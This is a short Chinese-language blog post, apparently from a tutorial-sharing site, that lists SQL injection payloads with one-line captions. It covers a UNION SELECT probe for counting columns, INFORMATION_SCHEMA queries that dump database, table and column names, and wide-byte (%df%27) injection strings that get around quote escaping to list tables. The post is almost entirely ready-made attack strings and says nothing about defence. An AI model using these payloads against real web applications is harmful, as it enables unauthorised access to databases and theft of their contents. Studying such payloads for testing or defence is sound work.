sql注入语句简单总结

荒凉一梦 提交于 2020-01-25 03:07:20

0 'union select 1,2,3……………… # 到几时失败的前一个就是列数,比如1,2,3,4时不报错,加个5报错那么说明有4列 

 

' and 0 union select 1,TABLE_SCHEMA,TABLE_NAME from INFORMATION_SCHEMA.COLUMNS #爆数据库名,表名

 

获取news 表的字段名,数据类型: 

' and 0 union select 1,column_name,data_type from information_schema.columns where table_name='news'#  news是表名

宽字节注入:

 爆库名: id=%df%27 and 1=2 union select 2,database()%23 

爆表名:

id=%df%27 and 1=2 union select 2,group_concat(table_name) from information_schema.tables where table_schema=database()%23

 

 

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!